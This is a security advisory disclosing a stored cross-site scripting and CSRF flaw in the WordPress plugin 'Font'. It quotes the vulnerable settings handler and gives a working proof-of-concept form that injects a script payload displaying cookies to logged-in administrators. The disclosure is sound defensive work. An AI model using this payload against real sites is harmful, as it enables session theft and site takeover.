16 Sep

Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in Font

As part of monitoring we do to make sure we are providing customers of our service with the best possible data on vulnerabilities in WordPress plugins they may be using we noticed what look to be a hacker probing if the following file on our website:


The directory that file would be located in would be for the plugin Font, but the file doesn’t look like it would be part of the plugin. There are a couple of likely explanations for that. One being that hackers had previously placed a backdoor script in at that location on websites they had gained access to, without it having to do with any exploitation of that plugin, and another hacker is now trying to exploit that. The other is that there is a file upload vulnerability that has been exploited to place a file in that location on other websites (we have never used that plugin) and another hacker is now trying to exploit that.

While taking a quick look over the plugin to make sure there wasn’t a vulnerability in the plugin that was being exploited, we noticed the possibility of an unrelated vulnerability. When we went to look into that we found a vulnerability related to that one that was more serious, as the plugin is susceptible to authenticated persistent cross-site scripting (XSS), which is something that we have been seeing hackers targeting fairly frequently over the last year.

The plugin handles saving it settings through a function accessed through WordPress’ AJAX functionality to those logged in:

add_action('wp_ajax_set_font_settings', array(&$this, 'set_font_settings_callback'));

The function called, set_font_settings_callback(), which is located in the file /font/Font.php, starts the process of saving the settings without doing any security checks:

function set_font_settings_callback() {
	$settings = $_POST['fontPluginSettings'];
	$response = $this->set_font_settings($settings);

The code lacks a capabilities checks to limit access to changing the settings to the users intended to be able to do it and a nonce check to prevent cross-site request forgery (CSRF). If you follow the rest of the code that runs those don’t occur later on either and the settings are not sanitized when saved, so as the proof of concept below shows, malicious JavaScript code could be caused to saved and then run for Administrators. So there is an authenticated persistent cross-site scripting (XSS) vulnerability. Due to the lack of protection against CSRF there is also cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability.

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof concept will cause an alert box with any available cookies to be shown when clicking the “Font settings” link on WordPress’ admin bar, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=set_font_settings" method="POST">
<input type="hidden" name="fontPluginSettings" value='{"settingFields":[{"type":"text","label":"Selector","name":"selector","settingType":"general","settingName":"selector","extendWith":"selectorPicker"},{"type":"text","label":"Font size","name":"font-size","settingType":"css","settingName":"fontSize","extendWith":"slider","unit":"px"},{"type":"text","label":"Color","name":"color","settingType":"css","settingName":"color","extendWith":"colorPicker"}],"presets":[{"name":"PICK AN ELEMENT","fontid":"","fontName":"","selector":"PICK AN ELEMENT NOW - or type CSS selector(advanced)","styles":{"fontSize":"30","color":"#444"},"shadowEffects":[]},{"name":"\"><script>alert(document.cookie);</script>","selector":"MAIN ARTICLE HEADER.entry-header H2.entry-title A","fontid":"","fontName":"","effects":[],"styles":{},"shadowEffects":[]}],"apikey":"test"}' />
<input type="submit" value="Submit" />

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service you can suggest/vote for the plugins you use to receive a security review from us. You can start using the service for free when you sign up now.